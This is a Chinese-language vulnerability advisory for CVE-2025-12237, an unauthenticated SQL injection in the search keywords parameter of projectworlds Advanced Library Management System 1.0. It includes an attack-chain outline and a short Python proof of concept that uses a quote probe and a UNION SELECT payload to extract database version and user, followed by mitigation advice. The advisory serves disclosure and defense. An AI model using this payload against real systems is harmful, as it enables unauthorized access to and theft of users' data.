IPBUF安全漏洞报告
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CVE-2025-12237 CVSS 7.3 高危

CVE-2025-12237 | projectworlds ALMS图书管理系统SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12237
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Advanced Library Management System 1.0

相关标签

SQL注入projectworlds图书管理系统CVE-2025-12237高危漏洞WEB安全数据库注入远程攻击无需认证

漏洞概述

CVE-2025-12237是projectworlds公司开发的Advanced Library Management System(高级图书管理系统)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于Web应用程序的搜索功能模块,具体涉及/index.php文件中的keywords参数。攻击者可以通过构造恶意的SQL语句片段,利用该参数将任意SQL代码注入到后端数据库查询中。由于漏洞存在于公开访问的搜索功能,且无需任何认证即可利用,因此具有极高的安全风险。攻击成功后,攻击者可以非法访问数据库中的敏感信息,包括用户账户数据、图书借阅记录、个人隐私信息等。此外,攻击者还可能通过SQL注入进一步进行数据篡改、删除数据库表结构,甚至在某些配置不当的数据库环境中执行系统命令,获得服务器操作权限。该漏洞的CVSS评分为7.3,属于高危级别,CVSS向量显示攻击复杂度低且无需用户交互,攻击者可以从互联网远程发起攻击。

技术细节

该SQL注入漏洞的根源在于应用程序对用户输入的keywords参数缺乏有效的输入验证和SQL语句参数化处理。在/index.php文件中,搜索功能直接将用户提交的keywords参数拼接到SQL查询语句中,形成完整的数据库查询命令。恶意攻击者可以通过在keywords参数中注入SQL特殊字符和SQL语句片段,改变原始查询的逻辑结构。例如,使用单引号(')、双破折号(--)、分号(;)等SQL元字符可以提前终止原始语句并注入恶意代码。常见的SQL注入Payload包括:使用UNION SELECT语句进行联合查询以获取数据库版本、用户信息、表结构等元数据;使用布尔型盲注(Boolean-based Blind SQLi)通过页面返回内容的差异推断数据库信息;使用时间延迟型盲注(Time-based Blind SQLi)通过数据库响应时间差异进行信息推断。由于该漏洞可以通过GET或POST请求直接触发,攻击者可以使用自动化工具如SQLMap快速识别和利用此漏洞,提取数据库中的敏感数据或进行更深层次的系统渗透。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站使用的是projectworlds Advanced Library Management System 1.0,确认/index.php搜索功能页面可访问
STEP 2
步骤2:漏洞探测
攻击者通过在keywords参数中注入SQL特殊字符(如单引号')观察页面响应,判断是否存在SQL注入漏洞并识别数据库类型
STEP 3
步骤3:自动化利用
使用SQLMap等自动化工具对目标进行深度扫描,自动识别注入点类型(布尔盲注、时间盲注或UNION注入),并获取数据库指纹信息
STEP 4
步骤4:数据提取
通过构造精心设计的SQL注入Payload,使用UNION SELECT或盲注技术逐步提取数据库中的敏感数据,包括用户表结构、账户密码等
STEP 5
步骤5:权限提升与持久化
在获取数据库访问权限后,攻击者可能尝试读取系统文件、写 入Webshell或通过数据库的操作系统命令执行功能获取服务器最高权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-12237 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # Vulnerability: SQL Injection in /index.php keywords parameter target_url = "http://target-server/index.php" # Basic SQL Injection test - detect vulnerability def test_sql_injection(): # Normal request normal_payload = {"keywords": "test"} normal_response = requests.get(target_url, params=normal_payload) # SQL Injection test payload - using single quote to trigger SQL error sql_test_payload = {"keywords": "test'"} try: response = requests.get(target_url, params=sql_test_payload, timeout=10) # Check for SQL error indicators error_signatures = [ "mysql", "sql", "syntax", "error", "warning", "query", "database", "sqlite", "postgresql" ] response_text = response.text.lower() for signature in error_signatures: if signature in response_text: print(f"[+] Potential SQL Injection vulnerability detected!") print(f"[+] Error signature found: {signature}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # UNION-based SQL Injection to extract database info def extract_db_info(): # Payload to extract MySQL version and current database union_payload = {"keywords": "test' UNION SELECT NULL,version(),database(),user()-- -"} try: response = requests.get(target_url, params=union_payload, timeout=10) # Parse response to extract database information # In real attack, would parse the response HTML return response.text except requests.exceptions.RequestException as e: print(f"[-] Failed to extract info: {e}") return None if __name__ == "__main__": print("[*] Testing CVE-2025-12237 SQL Injection...") test_sql_injection()

影响范围

projectworlds Advanced Library Management System 1.0

防御指南

临时缓解措施
在正式补丁发布前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache的URL重写规则)对搜索参数进行初步过滤,拦截包含SQL特殊字符的请求;2)限制数据库账户权限,避免Web应用使用的数据库账户具有删除、写入等高危操作权限;3)启用Web应用日志监控,及时发现异常的SQL注入尝试行为;4)在网络层部署IPS/IDS设备,对可疑的攻击流量进行告警和阻断;5)考虑暂时禁用搜索功能或实施严格的访问控制,仅允许授权用户访问图书检索页面。

参考链接

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